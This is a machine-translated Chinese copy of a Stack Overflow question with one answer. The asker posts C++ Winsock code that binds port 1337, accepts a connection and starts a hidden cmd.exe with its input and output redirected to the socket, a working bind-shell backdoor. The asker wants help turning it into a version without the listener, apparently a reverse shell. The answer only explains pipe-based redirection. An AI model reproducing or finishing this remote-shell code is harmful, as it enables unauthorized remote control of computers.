StdIn / StdOut / StdErr重定向到WinSock连接

时间:2016-08-27 20:23:26

标签: c++ sockets networking winsock

我一直在尝试将cmd.exe的输入和输出重定向一段时间,虽然我已经想出如何在c#中实现它,但我仍然没有注意到如何正确实现它C ++。 我得到的最远的是popen(),每当我向它发送一个命令时,它似乎重新打开过程,导致无法使用像cd这样的命令,并且使用以下的服务器端功能,我无法使用到客户端的端口:

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <iostream>

using namespace std;


void ServerStart()
{
    WSADATA wsa;

    SOCKET s;
    SOCKADDR_IN sAddr;

    USHORT port;

    PROCESS_INFORMATION pi;
    STARTUPINFO si;

    port = 1337;//Set listening port

    memset( &si, 0, sizeof( si ) );
    si.cb = sizeof( si );
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

    sAddr.sin_addr.s_addr = INADDR_ANY;
    sAddr.sin_port =  (port >> 8) | (port << 8);
    sAddr.sin_family = AF_INET;

    WSAStartup( 0x0202, &wsa );

    s = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
    bind( s, (LPSOCKADDR)&sAddr, sizeof( sAddr ) );
    listen( s, 5 );

    __asm
    {
        push ebx
        mov ebx, s
    }
    s = accept( s, NULL, NULL );//Accept Client
    __asm
    {
        push ebx
        call DWORD PTR [closesocket]//Close if error.
        pop ebx
    }

    si.hStdInput = (HANDLE)s;
    si.hStdOutput = (HANDLE)s;
    si.hStdError = (HANDLE)s;

    CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );//Start the remote process

    WaitForSingleObject( pi.hProcess, INFINITE );//Allow Client to control remote process

    CloseHandle( pi.hProcess );
    CloseHandle( pi.hThread );
    closesocket( s );

    WSACleanup();
    ServerStart();//Server Start Loop
}

如果没有听力部分,我会很感激有关如何做到与上述相同的任何帮助或建议。在此先感谢:)

1 个答案:

答案 0 :(得分:0)

您不能直接使用WinSock套接字句柄进行stdin / out / err重定向。请使用CreatePipe()中的管道。您将不得不编写额外的代码

  • 从套接字读取入站数据并将其写入stdin管道
  • 从stdout / err管道读取数据并将其写入套接字。

MSDN有一个使用管道进行重定向的示例:

Creating a Child Process with Redirected Input and Output